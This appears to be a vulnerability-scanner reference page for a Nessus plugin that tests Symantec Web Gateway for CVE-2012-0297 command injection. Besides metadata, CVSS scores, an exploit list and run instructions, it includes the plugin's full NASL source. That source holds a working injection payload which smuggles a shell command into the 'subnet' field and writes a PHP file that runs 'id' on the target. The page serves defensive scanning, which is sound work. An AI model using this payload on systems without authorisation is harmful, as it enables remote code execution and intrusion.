Symantec Web Gateway ipchange.php Shell Command Injection (SYM12-006) (intrusive check) - Nessus

High   Plugin ID: 59208

This page contains detailed information about the Symantec Web Gateway ipchange.php Shell Command Injection (SYM12-006) (intrusive check) Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 59208
Name: Symantec Web Gateway ipchange.php Shell Command Injection (SYM12-006) (intrusive check)
Filename: symantec_web_gateway_ipchange_rce.nasl
Vulnerability Published: 2012-05-17
This Plugin Published: 2012-05-21
Last Modification Time: 2021-01-19
Plugin Version: 1.31
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: symantec_web_gateway_detect.nasl
Required KB Items [?]: www/symantec_web_gateway

Vulnerability Information


Severity: High
Vulnerability Published: 2012-05-17
Patch Published: 2012-05-17
CVE [?]: CVE-2012-0297
CPE [?]: cpe:/a:symantec:web_gateway
Exploited by Malware: True

Synopsis

A web security application hosted on the remote web server has a command injection vulnerability.

Description

The remote web server is hosting a version of Symantec Web Gateway that is affected by a shell command injection vulnerability. The ipchange.php script calls the exec() function with user-controlled input that is not properly sanitized. A remote, unauthenticated attacker could exploit this to execute arbitrary shell commands as the apache user. After exploitation, obtaining a root shell is trivial.

Solution

Upgrade to Symantec Web Gateway version 5.0.3 or later.

Public Exploits


Target Network Port(s): 443
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, Immunity Canvas, Core Impact, D2 Elliot)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the Symantec Web Gateway ipchange.php Shell Command Injection (SYM12-006) (intrusive check) vulnerability:

  1. Metasploit: exploit/linux/http/symantec_web_gateway_lfi
    [Symantec Web Gateway 5.0.2.8 relfile File Inclusion Vulnerability]
  2. Metasploit: exploit/linux/http/symantec_web_gateway_exec
    [Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection]
  3. Exploit-DB: exploits/linux/remote/18942.rb
    [EDB-18942: Symantec Web Gateway 5.0.2.8 - Command Execution (Metasploit)]
  4. Exploit-DB: exploits/php/webapps/19065.rb
    [EDB-19065: Symantec Web Gateway 5.0.2.8 - 'ipchange.php' Command Injection (Metasploit)]
  5. Exploit-DB: exploits/linux/webapps/19406.txt
    [EDB-19406: symantec Web gateway 5.0.2.8 - Multiple Vulnerabilities]
  6. D2 Elliot: symantec_web_gateway_5.0.2_rce.html
    [Symantec Web Gateway 5.0.2 RCE]
  7. Immunity Canvas: D2ExploitPack

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:H/RL:OF/RC:C
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:8.7 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.7 (High)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:H/RL:O/RC:C
CVSS Base Score:8.8 (High)
Impact Subscore:5.9
Exploitability Subscore:2.8
CVSS Temporal Score:8.4 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.4 (High)

Go back to menu.

Plugin Source


This is the symantec_web_gateway_ipchange_rce.nasl nessus plugin source code. This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(59208);
  script_version("1.31");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2012-0297");
  script_bugtraq_id(53444);
  script_xref(name:"TRA", value:"TRA-2012-03");
  script_xref(name:"EDB-ID", value:"19065");

  script_name(english:"Symantec Web Gateway ipchange.php Shell Command Injection (SYM12-006) (intrusive check)");
  script_summary(english:"Uploads and executes a PHP script");

  script_set_attribute(attribute:"synopsis", value:
"A web security application hosted on the remote web server has a
command injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote web server is hosting a version of Symantec Web Gateway
that is affected by a shell command injection vulnerability.  The
ipchange.php script calls the exec() function with user-controlled
input that is not properly sanitized.  A remote, unauthenticated
attacker could exploit this to execute arbitrary shell commands as
the apache user.  After exploitation, obtaining a root shell is
trivial.");
  script_set_attribute(attribute:"see_also", value:"https://www.tenable.com/security/research/tra-2012-03");
  script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-12-090/");
  # https://support.symantec.com/en_US/article.SYMSA1250.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?5b5929ae");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Symantec Web Gateway version 5.0.3 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Symantec Web Gateway 5.0.2 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_malware", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Symantec Web Gateway 5.0.2.8 relfile File Inclusion Vulnerability');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'D2ExploitPack');

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/05/17");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/05/17");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/05/21");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:symantec:web_gateway");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("symantec_web_gateway_detect.nasl");
  script_require_keys("www/symantec_web_gateway");
  script_require_ports("Services/www", 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:443, php:TRUE);
install = get_install_from_kb(appname:'symantec_web_gateway', port:port, exit_on_fail:TRUE);

url = install['dir'] + '/ipchange.php';
filename = strcat('cleaner/', SCRIPT_NAME, '-', unixtime(), '.php');
cmd = 'echo "<? system("id"); ?>" > ' + filename;
postdata = 'ip=localhost%0d%0a&subnet="|' + cmd + '|"';
res = http_send_recv3(
  method:'POST',
  port:port,
  item:url,
  content_type:'application/x-www-form-urlencoded',
  data:postdata,
  exit_on_fail:TRUE
);
script_creation = http_last_sent_request();

url = install['dir'] + '/' + filename;
res = http_send_recv3(method:'GET', item:url, port:port, exit_on_fail:TRUE);

if(!egrep(pattern:'uid=[0-9]+.*gid=[0-9]+.*', string:res[2]))
  audit(AUDIT_WEB_APP_NOT_AFFECTED, 'Symantec Web Gateway', build_url(qs:install['dir'], port:port));

if (report_verbosity > 0)
{
  report =
    '\nNessus created a PHP file by sending the following request :\n\n' +
    crap(data:"-", length:30)+' Request '+ crap(data:"-", length:30)+'\n'+
    chomp(script_creation) + '\n' +
    crap(data:"-", length:30)+' Request '+ crap(data:"-", length:30)+'\n'+
    '\nThis file executes the "id" command and is located at :\n\n' +
    build_url(qs:url, port:port) + '\n';

  if (report_verbosity > 1)
    report += '\nRequesting this file returned the following output :\n\n' + 
      data_protection::sanitize_uid(output:chomp(res[2])) + '\n';

  security_hole(port:port, extra:report);
}
else security_hole(port);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/symantec_web_gateway_ipchange_rce.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\symantec_web_gateway_ipchange_rce.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/symantec_web_gateway_ipchange_rce.nasl

Go back to menu.

How to Run


Here is how to run the Symantec Web Gateway ipchange.php Shell Command Injection (SYM12-006) (intrusive check) as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Symantec Web Gateway ipchange.php Shell Command Injection (SYM12-006) (intrusive check) plugin ID 59208.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl symantec_web_gateway_ipchange_rce.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a symantec_web_gateway_ipchange_rce.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - symantec_web_gateway_ipchange_rce.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state symantec_web_gateway_ipchange_rce.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: TRA | Tenable Research Advisory: See also: Similar and related Nessus plugins:
  • 59209 - Symantec Web Gateway < 5.0.3 Multiple Vulnerabilities (SYM12-006) (version check)
  • 81549 - Symantec Data Center Security Server SQLi (SYM15-001)
  • 81551 - Symantec Data Center Security Server 'environment.jsp' Information Disclosure (SYM15-001)
  • 85351 - Symantec Endpoint Protection Manager < 12.1 RU6 MP1 Multiple Vulnerabilities (SYM15-007)
  • 53209 - Symantec LiveUpdate Administrator < 2.3 CSRF (SYM11-005)
  • 62010 - Symantec Messaging Gateway 9.5.x Multiple Vulnerabilities (SYM12-013)
  • 90919 - Symantec Messaging Gateway 10.x < 10.6.1 Management Console Multiple Vulnerabilities (SYM16-005)
  • 93653 - Symantec Messaging Gateway 10.x < 10.6.2 Multiple Vulnerabilities (SYM16-015) (SYM16-016)
  • 101158 - Symantec Messaging Gateway 10.x < 10.6.3-266 Multiple Vulnerabilities (SYM17-004)
  • 102528 - Symantec Messaging Gateway 10.x < 10.6.3-267 Multiple Vulnerabilities (SYM17-006)
  • 125357 - Symantec (Blue Coat) Reporter Denial of Service vulnerability (SYMSA1280)
  • 61435 - Symantec Web Gateway Multiple Script Shell Command Execution (SYM12-011)
  • 61436 - Symantec Web Gateway search.php SQL Injection (SYM12-011)
  • 69179 - Symantec Web Gateway < 5.1.1 Multiple Vulnerabilities (SYM13-008)
  • 80118 - Symantec Web Gateway < 5.2.2 Authenticated OS Command Injection (SYM14-016)
  • 94052 - Symantec Web Gateway < 5.2.5 Management Console Command Injection (SYM16-017)
  • 59210 - Symantec Web Gateway upload_file() Remote Code Execution (SYM12-006) (intrusive check)
  • 66408 - Adobe ColdFusion Authentication Bypass (APSB13-13) (intrusive check)
  • 62902 - HP LoadRunner < 11.00 Patch 4 Code Execution (intrusive check)
  • 57701 - HP Managed Printing Administration jobDelivery Script Directory Traversal (intrusive check)
  • 121515 - JBoss Remoting RemoteMessageChannel DoS (intrusive check)
  • 82078 - ManageEngine Desktop Central statusUpdate Arbitrary File Upload RCE (intrusive check)
  • 82080 - ManageEngine Desktop Central Remote Security Bypass (Intrusive Check)
  • 71217 - ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload RCE (intrusive check)
  • 62992 - NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check)
  • 62991 - NetIQ Privileged User Manager Password Change Authentication Bypass (intrusive check)
  • 47581 - Novell 'modulemanager' Servlet Arbitrary File Upload (intrusive check)
  • 83289 - Novell ZENworks Configuration Management < 11.3.2 Remote Code Execution (intrusive check)
  • 66914 - Novell ZENworks Control Center File Upload Remote Code Execution (intrusive check)
  • 41947 - Adobe RoboHelp Server Security Bypass (APSA09-05 / intrusive check)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file symantec_web_gateway_ipchange_rce.nasl version 1.31. For more plugins, visit the Nessus Plugin Library.

Go back to menu.